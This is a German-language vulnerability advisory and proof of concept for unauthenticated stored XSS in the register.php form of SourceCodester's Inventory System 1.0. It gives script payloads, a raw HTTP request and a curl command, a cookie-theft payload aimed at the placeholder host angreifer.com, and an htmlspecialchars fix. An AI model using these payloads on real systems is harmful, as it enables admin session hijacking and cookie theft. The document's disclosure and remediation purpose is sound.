
Proof-of-Concept für unauthentifiziertes gespeichertes XSS in SourceCodester Inventory System, das die Übernahme der Admin-Sitzung durch manipulierte Registrierungs-Payloads demonstriert.
| Feld | Details |
|---|---|
| Schwachstellentyp | Stored Cross-Site Scripting (XSS) |
| Betroffene Anwendung | Inventarsystem mit PHP und MySQL |
| Anbieter | SourceCodester |
| Betroffene Version | 1.0 |
| Betroffene Datei | register.php |
| Parameter | fullname, username |
| Authentifizierung erforderlich | Nein (nicht authentifiziert) |
| Auswirkungen | Übernahme der Admin-Sitzung, Ausführung schädlicher Skripte im Admin-Panel |
| CVSS-Score | 8.8 (Hoch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
Das Inventarsystem mit PHP und MySQL von SourceCodester (eingereicht am 23. Mai 2026) ist anfällig für Nicht authentifiziertes Stored Cross-Site Scripting (XSS) im Mitarbeiterregistrierungsmodul (register.php).
Die Eingabefelder fullname und username bereinigen oder kodieren die benutzergelieferten Eingaben nicht, bevor sie in der Datenbank gespeichert werden. Wenn ein Administrator die Benutzerverwaltungsseite (users.php) besucht, werden die ungereinigten Nutzlasten direkt im HTML-Kontext gerendert, was zur sofortigen JavaScript-Ausführung in der Browsersitzung des Admins führt.
Da die Registrierung keine Authentifizierung erfordert, kann ein entfernter, nicht authentifizierter Angreifer beliebiges JavaScript injizieren, das im Kontext jedes Administrators ausgeführt wird, der das Benutzerverwaltungspanel aufruft.
/product_inventory/register.php – kein Login erforderlich.fullname und/oder username./product_inventory/users.php navigiert, wird die Nutzlast automatisch im Browser des Admins ausgeführt.http://<ZIEL>/product_inventory/register.php
Nutzlast im Feld Vollständiger Name:
<script>alert(1)</script>
Nutzlast im Feld Benutzername:
<script>alert(2)</script>
Passwort: beliebiger Wert (z.B. test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <ZIEL>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl-Entsprechung:
curl -X POST "http://<ZIEL>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Melden Sie sich als Administrator an und navigieren Sie zu:
http://<ZIEL>/product_inventory/users.php
Beide Nutzlasten werden sofort beim Laden der Seite ausgeführt.
Ein nicht authentifizierter Angreifer kann:
Beispielnutzlast für Cookie-Diebstahl (durch Angreiferserver ersetzen):
<script>document.location='http://angreifer.com/steal?c='+document.cookie</script>
Die Schwachstelle besteht, weil register.php Benutzereingaben ohne Bereinigung direkt in die Datenbank einfügt und users.php die gespeicherten Werte ohne htmlspecialchars()-Kodierung ausgibt.
Verwundbares Muster in users.php (ungefähr):
// Unsicher – gibt Rohdaten aus der Datenbank direkt in HTML aus
echo $row['fullname'];
echo $row['username'];
Behebung — Ausgabekodierung anwenden:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Zusätzlich sollten Eingaben beim Einfügen in register.php mittels strip_tags() oder vorbereiteter Anweisungen mit ordnungsgemäßer Validierung bereinigt werden.
htmlspecialchars() und ENT_QUOTES, bevor Sie benutzergelieferte Daten in HTML rendern.Gemeldet von Syed Imad Uddin Alvi — Unabhängiger Sicherheitsforscher